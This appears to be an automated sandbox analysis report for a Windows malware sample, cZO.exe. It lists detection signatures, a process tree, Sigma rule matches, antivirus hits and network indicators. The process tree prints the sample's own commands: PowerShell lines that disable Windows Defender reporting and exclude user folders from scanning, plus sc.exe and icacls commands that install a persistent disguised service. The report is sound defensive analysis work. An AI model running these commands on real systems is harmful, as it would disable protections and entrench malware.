Edit tour

Windows Analysis Report
cZO.exe

Overview

General Information

Sample name:	cZO.exe
Analysis ID:	1584500
MD5:	be6e88537235ff3b6b61de70dfeecb3b
SHA1:	4a622aa9cbbb7f66484734b85a211f20e0cb0edd
SHA256:	bc1a44614123c841e31835919a21ed7322ea6537f6652f36d24fd7f83a440294
Tags:	exeI2Parcaeuser-aachum
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (creates a PE file in dynamic memory)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Connects to many ports of the same IP (likely port scanning)

Contains functionality to hide user accounts

Found Tor onion address

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Modifies Windows Defender protection settings

NDIS Filter Driver detected (likely used to intercept and sniff network traffic)

Performs DNS queries to domains with low reputation

Sigma detected: Execution from Suspicious Folder

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Suspicious New Service Creation

Sigma detected: Suspicious Program Location with Network Connections

Uses TOR for connection hidding

AV process strings found (often used to terminate AV products)

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Connects to several IPs in different countries

Contains functionality to call native functions

Contains functionality to create new users

Contains functionality to dynamically determine API calls

Contains functionality to enumerate network shares

Contains functionality to enumerate running services

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query network adapater information

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Enables security privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found evasive API chain checking for process token information

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries keyboard layouts

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Uses cacls to modify the permissions of files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Classification

Process Tree

System is w10x64

cZO.exe (PID: 7128 cmdline: "C:\Users\user\Desktop\cZO.exe" MD5: BE6E88537235FF3B6B61DE70DFEECB3B)

cZO.exe (PID: 5660 cmdline: C:\Users\user\Desktop\cZO.exe MD5: BE6E88537235FF3B6B61DE70DFEECB3B)

cmd.exe (PID: 6536 cmdline: "C:\Windows\system32\cmd.exe" /k "C:\Users\user\AppData\Local\Temp\7h14dhb9g32w177ypoi9wje.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5532 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7088 cmdline: powershell.exe -NoLogo -Command "Set-MpPreference -SubmitSamplesConsent NeverSend" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 6472 cmdline: powershell.exe -NoLogo -Command "Set-MpPreference -MAPSReporting 0" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 432 cmdline: powershell.exe -NoLogo -Command "Add-MpPreference -ExclusionPath 'C:\Users\'" MD5: 04029E121A0CFA5991749937DD22A1D9)

vc71izwl68ub3txurufnpr09g6ni3.exe (PID: 1120 cmdline: "C:\Users\user\AppData\Local\Temp\vc71izwl68ub3txurufnpr09g6ni3.exe" MD5: 319865D78CC8DF6270E27521B8182BFF)

shdpeqdz2a54sj46ur0.exe (PID: 7088 cmdline: "C:\Users\user\AppData\Local\Temp\shdpeqdz2a54sj46ur0.exe" MD5: 2F829F1CB631D234C54F2E6C6F72EB57)

taskkill.exe (PID: 3652 cmdline: taskkill.exe /F /FI "SERVICES eq RDP-Controller" MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 3920 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 4324 cmdline: sc.exe stop RDP-Controller MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 1532 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

main.exe (PID: 6524 cmdline: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe MD5: BB070CFBD23A7BC6F2A0F8F6D167D207)

WerFault.exe (PID: 5688 cmdline: C:\Windows\system32\WerFault.exe -u -p 6524 -s 1236 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

sc.exe (PID: 6448 cmdline: sc.exe create RDP-Controller binpath= C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe type= own start= auto error= ignore MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 4676 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 5880 cmdline: sc.exe failure RDP-Controller reset= 1 actions= restart/10000 MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 6428 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 1716 cmdline: sc.exe start RDP-Controller MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 6616 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

icacls.exe (PID: 5308 cmdline: icacls.exe C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\ /setowner *S-1-5-18 MD5: 48C87E3B3003A2413D6399EA77707F5D)

conhost.exe (PID: 5452 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

icacls.exe (PID: 5492 cmdline: icacls.exe C:\Users\Public /restore C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\npX5adYEH7eu.acl MD5: 48C87E3B3003A2413D6399EA77707F5D)

conhost.exe (PID: 5568 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 5548 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

WerFault.exe (PID: 4324 cmdline: C:\Windows\system32\WerFault.exe -pss -s 432 -p 6524 -ip 6524 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

svchost.exe (PID: 4124 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

main.exe (PID: 3688 cmdline: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe MD5: BB070CFBD23A7BC6F2A0F8F6D167D207)

cleanup

Sigma Signatures

System Summary

Sigma detected: Execution from Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe, CommandLine: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe, CommandLine|base64offset|contains: , Image: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe, NewProcessName: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe, OriginalFileName: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe, ParentCommandLine: sc.exe stop RDP-Controller, ParentImage: C:\Windows\System32\sc.exe, ParentProcessId: 4324, ParentProcessName: sc.exe, ProcessCommandLine: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe, ProcessId: 6524, ProcessName: main.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell.exe -NoLogo -Command "Set-MpPreference -SubmitSamplesConsent NeverSend", CommandLine: powershell.exe -NoLogo -Command "Set-MpPreference -SubmitSamplesConsent NeverSend", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /k "C:\Users\user\AppData\Local\Temp\7h14dhb9g32w177ypoi9wje.bat", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6536, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -NoLogo -Command "Set-MpPreference -SubmitSamplesConsent NeverSend", ProcessId: 7088, ProcessName: powershell.exe

Sigma detected: Suspicious New Service Creation

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: sc.exe create RDP-Controller binpath= C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe type= own start= auto error= ignore, CommandLine: sc.exe create RDP-Controller binpath= C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe type= own start= auto error= ignore, CommandLine|base64offset|contains: r, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\shdpeqdz2a54sj46ur0.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\shdpeqdz2a54sj46ur0.exe, ParentProcessId: 7088, ParentProcessName: shdpeqdz2a54sj46ur0.exe, ProcessCommandLine: sc.exe create RDP-Controller binpath= C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe type= own start= auto error= ignore, ProcessId: 6448, ProcessName: sc.exe

Sigma detected: Suspicious Program Location with Network Connections

Source: Network Connection

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: DestinationIp: 95.216.2.172, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe, Initiated: true, ProcessId: 6524, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49856

Sigma detected: Powershell Defender Exclusion

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell.exe -NoLogo -Command "Add-MpPreference -ExclusionPath 'C:\Users\'", CommandLine: powershell.exe -NoLogo -Command "Add-MpPreference -ExclusionPath 'C:\Users\'", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /k "C:\Users\user\AppData\Local\Temp\7h14dhb9g32w177ypoi9wje.bat", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6536, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -NoLogo -Command "Add-MpPreference -ExclusionPath 'C:\Users\'", ProcessId: 432, ProcessName: powershell.exe

Sigma detected: New Service Creation Using Sc.EXE

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: sc.exe create RDP-Controller binpath= C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe type= own start= auto error= ignore, CommandLine: sc.exe create RDP-Controller binpath= C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe type= own start= auto error= ignore, CommandLine|base64offset|contains: r, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\shdpeqdz2a54sj46ur0.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\shdpeqdz2a54sj46ur0.exe, ParentProcessId: 7088, ParentProcessName: shdpeqdz2a54sj46ur0.exe, ProcessCommandLine: sc.exe create RDP-Controller binpath= C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe type= own start= auto error= ignore, ProcessId: 6448, ProcessName: sc.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -NoLogo -Command "Set-MpPreference -SubmitSamplesConsent NeverSend", CommandLine: powershell.exe -NoLogo -Command "Set-MpPreference -SubmitSamplesConsent NeverSend", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /k "C:\Users\user\AppData\Local\Temp\7h14dhb9g32w177ypoi9wje.bat", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6536, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -NoLogo -Command "Set-MpPreference -SubmitSamplesConsent NeverSend", ProcessId: 7088, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k WerSvcGroup, CommandLine: C:\Windows\System32\svchost.exe -k WerSvcGroup, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k WerSvcGroup, ProcessId: 5548, ProcessName: svchost.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://reseed.diva.exchange/b.c	Avira URL Cloud: Label: malware
Source: https://reseed.i2pgit.org/i2pseeds.su3	Avira URL Cloud: Label: malware
Source: https://reseed.i2pgit.org:443/i2pseeds.su3	Avira URL Cloud: Label: malware
Source: https://login.live	Avira URL Cloud: Label: malware
Source: https://reseed.i2pgit.org/P#	Avira URL Cloud: Label: malware
Source: https://reseed.diva.exchange/	Avira URL Cloud: Label: malware
Source: https://reseed.i2pgit.org/	Avira URL Cloud: Label: malware
Source: https://reseed2.i2p.net/	Avira URL Cloud: Label: malware
Source: https://reseed.i2pgit.org/i2pseeds.su30	Avira URL Cloud: Label: malware
Source: https://netdb.i2p2.no/	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\vc71izwl68ub3txurufnpr09g6ni3.exe

Avira: detection malicious, Label: TR/AVI.Agent.jibab

Multi AV Scanner detection for dropped file

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\cnccli.dll	ReversingLabs: Detection: 26%
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\evtsrv.dll	ReversingLabs: Detection: 31%
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	ReversingLabs: Detection: 69%
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\termsrv32.dll	ReversingLabs: Detection: 69%
Source: C:\Users\user\AppData\Local\Temp\shdpeqdz2a54sj46ur0.exe	ReversingLabs: Detection: 69%
Source: C:\Users\user\AppData\Local\Temp\vc71izwl68ub3txurufnpr09g6ni3.exe	ReversingLabs: Detection: 57%
Source: C:\Windows\Temp\I77yQ5in	ReversingLabs: Detection: 26%
Source: C:\Windows\Temp\YXkdIYk6	ReversingLabs: Detection: 69%
Source: C:\Windows\Temp\YkhL6reh	ReversingLabs: Detection: 31%

Multi AV Scanner detection for submitted file

Source: cZO.exe

Virustotal: Detection: 19%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\shdpeqdz2a54sj46ur0.exe

Joe Sandbox ML: detected

Compliance

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\Desktop\cZO.exe

Unpacked PE file: 0.2.cZO.exe.2510000.1.unpack

Source: C:\Users\user\AppData\Local\Temp\shdpeqdz2a54sj46ur0.exe

File created: C:\Users\user\AppData\Local\Temp\installer.log

Jump to behavior

Source:	Binary string: RfxVmt.pdb source: shdpeqdz2a54sj46ur0.exe, 0000000B.00000002.2510930956.00007FF76A97E000.00000004.00000001.01000000.00000007.sdmp, main.exe, 00000016.00000003.2453846580.000002234F1D7000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000002.3155007370.000002234FE24000.00000004.00000020.00020000.00000000.sdmp, GEGgzh0s.22.dr, update.pkg.11.dr
Source:	Binary string: RfxVmt.pdbGCTL source: shdpeqdz2a54sj46ur0.exe, 0000000B.00000002.2510930956.00007FF76A97E000.00000004.00000001.01000000.00000007.sdmp, main.exe, 00000016.00000003.2453846580.000002234F1D7000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000002.3155007370.000002234FE24000.00000004.00000020.00020000.00000000.sdmp, GEGgzh0s.22.dr, update.pkg.11.dr

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8B915387F NetApiBufferFree,NetUserEnum,GetProcessHeap,HeapAlloc,memcpy,GetProcessHeap,HeapFree,	22_2_00007FF8B915387F
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8B91538C3 LocalAlloc,wcsncpy,LookupAccountNameW,GetLastError,GetLastError,LocalAlloc,LookupAccountNameW,LocalFree,GetLastError,ConvertSidToStringSidA,GetLastError,wcslen,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,NetApiBufferFree,NetUserEnum,GetProcessHeap,HeapAlloc,memcpy,GetProcessHeap,HeapFree,	22_2_00007FF8B91538C3
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 32_2_00007FF8B915387F NetApiBufferFree,NetUserEnum,GetProcessHeap,HeapAlloc,memcpy,GetProcessHeap,HeapFree,	32_2_00007FF8B915387F
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 32_2_00007FF8B91538C3 LocalAlloc,wcsncpy,LookupAccountNameW,GetLastError,GetLastError,LocalAlloc,LookupAccountNameW,LocalFree,GetLastError,ConvertSidToStringSidA,GetLastError,wcslen,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,NetApiBufferFree,NetUserEnum,GetProcessHeap,HeapAlloc,memcpy,GetProcessHeap,HeapFree,	32_2_00007FF8B91538C3

Source: C:\Users\user\AppData\Local\Temp\vc71izwl68ub3txurufnpr09g6ni3.exe	Code function: 6_2_00007FF775723DB3 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	6_2_00007FF775723DB3
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF6BE031CF3 FindNextFileA,_mbscpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	22_2_00007FF6BE031CF3
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8B9156233 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	22_2_00007FF8B9156233
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8B918B333 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	22_2_00007FF8B918B333
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BA4F4013 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	22_2_00007FF8BA4F4013
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BFB331F3 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	22_2_00007FF8BFB331F3
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BFB55013 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	22_2_00007FF8BFB55013
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BFB857B3 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	22_2_00007FF8BFB857B3
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 32_2_00007FF8B9156233 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	32_2_00007FF8B9156233
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 32_2_00007FF8B918B333 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	32_2_00007FF8B918B333
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 32_2_00007FF8BA504013 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	32_2_00007FF8BA504013
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 32_2_00007FF8BFB331F3 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	32_2_00007FF8BFB331F3
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 32_2_00007FF8BFB55013 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	32_2_00007FF8BFB55013
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 32_2_00007FF8BFB857B3 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	32_2_00007FF8BFB857B3

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 4x nop then lea r9, qword ptr [r8-01h]	22_2_00007FF6BE03737B
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 4x nop then lea r9, qword ptr [r8-01h]	22_2_00007FF8B915A13B
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 4x nop then lea r9, qword ptr [r8-01h]	22_2_00007FF8B9187DFB
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 4x nop then lea r9, qword ptr [r8-01h]	22_2_00007FF8BA4F967B
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 4x nop then lea r9, qword ptr [r8-01h]	22_2_00007FF8BFB39BBB
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 4x nop then lea r9, qword ptr [r8-01h]	22_2_00007FF8BFB5A67B
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 4x nop then lea r9, qword ptr [r8-01h]	22_2_00007FF8BFB8293B
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 4x nop then lea r9, qword ptr [r8-01h]	32_2_00007FF8B915A13B
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 4x nop then lea r9, qword ptr [r8-01h]	32_2_00007FF8B9187DFB
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 4x nop then lea r9, qword ptr [r8-01h]	32_2_00007FF8BA50967B
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 4x nop then lea r9, qword ptr [r8-01h]	32_2_00007FF8BFB39BBB
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 4x nop then lea r9, qword ptr [r8-01h]	32_2_00007FF8BFB5A67B
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 4x nop then lea r9, qword ptr [r8-01h]	32_2_00007FF8BFB8293B

Networking

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 95.158.36.98 ports 0,1,2,30125,3,5
Source: global traffic	TCP traffic: 107.189.28.6 ports 1,2,5,6,9,12596
Source: global traffic	TCP traffic: 69.10.220.235 ports 19348,1,3,4,8,9
Source: global traffic	TCP traffic: 78.191.208.199 ports 0,1,2,3,9,13920

Found Tor onion address

Source: shdpeqdz2a54sj46ur0.exe, 0000000B.00000002.2510930956.00007FF76A97E000.00000004.00000001.01000000.00000007.sdmp	String found in binary or memory: https://reseed2.i2p.net/,https://reseed.diva.exchange/,https://reseed-fr.i2pd.xyz/,https://reseed.memcpy.io/,https://reseed.onion.im/,https://i2pseed.creativecowpat.net:8443/,https://reseed.i2pgit.org/,https://banana.incognet.io/,https://reseed-pl.i2pd.xyz/,https://www2.mk16.de/,https://i2p.ghativega.in/,https://i2p.novg.net/,https://reseed.stormycloud.org/
Source: main.exe	String found in binary or memory: https://reseed2.i2p.net/,https://reseed.diva.exchange/,https://reseed-fr.i2pd.xyz/,https://reseed.memcpy.io/,https://reseed.onion.im/,https://i2pseed.creativecowpat.net:8443/,https://reseed.i2pgit.org/,https://banana.incognet.io/,https://reseed-pl.i2pd.xyz/,ht
Source: main.exe, 00000016.00000002.3155678668.00000223502E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reseed.onion.im/
Source: main.exe, 00000016.00000003.2471613149.00000223502F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reseed.onion.im/
Source: main.exe, 00000016.00000002.3155007370.000002234FE24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reseed2.i2p.net/,https://reseed.diva.exchange/,https://reseed-fr.i2pd.xyz/,https://reseed.memcpy.io/,https://reseed.onion.im/,https://i2pseed.creativecowpat.net:8443/,https://reseed.i2pgit.org/,https://banana.incognet.io/,https://reseed-pl.i2pd.xyz/,https://www2.mk16.de/,https://i2p.ghativega.in/,https://i2p.novg.net/,https://reseed.stormycloud.org/
Source: main.exe, 00000016.00000002.3155678668.000002235025D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reseed2.i2p.net/,https://reseed.diva.exchange/,https://reseed-fr.i2pd.xyz/,https://reseed.memcpy.io/,https://reseed.onion.im/,https://i2pseed.creativecowpat.net:8443/,https://reseed.i2pgit.org/,https://banana.incognet.io/,https://reseed-pl.i2pd.xyz/,https://www2.mk16.de/,https://i2p.ghativega.in/,https://i2p.novg.net/,https://reseed.stormycloud.org/
Source: main.exe, 00000016.00000002.3157806335.00007FF8A8C54000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://reseed2.i2p.net/,https://reseed.diva.exchange/,https://reseed-fr.i2pd.xyz/,https://reseed.memcpy.io/,https://reseed.onion.im/,https://i2pseed.creativecowpat.net:8443/,https://reseed.i2pgit.org/,https://banana.incognet.io/,https://reseed-pl.i2pd.xyz/,https://www2.mk16.de/,https://i2p.ghativega.in/,https://i2p.novg.net/,https://reseed.stormycloud.org/
Source: main.exe	String found in binary or memory: https://reseed2.i2p.net/,https://reseed.diva.exchange/,https://reseed-fr.i2pd.xyz/,https://reseed.memcpy.io/,https://reseed.onion.im/,https://i2pseed.creativecowpat.net:8443/,https://reseed.i2pgit.org/,https://banana.incognet.io/,https://reseed-pl.i2pd.xyz/,ht
Source: main.exe, 00000020.00000002.3261726260.00000270D3CED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reseed2.i2p.net/,https://reseed.diva.exchange/,https://reseed-fr.i2pd.xyz/,https://reseed.memcpy.io/,https://reseed.onion.im/,https://i2pseed.creativecowpat.net:8443/,https://reseed.i2pgit.org/,https://banana.incognet.io/,https://reseed-pl.i2pd.xyz/,https://www2.mk16.de/,https://i2p.ghativega.in/,https://i2p.novg.net/,https://reseed.stormycloud.org/
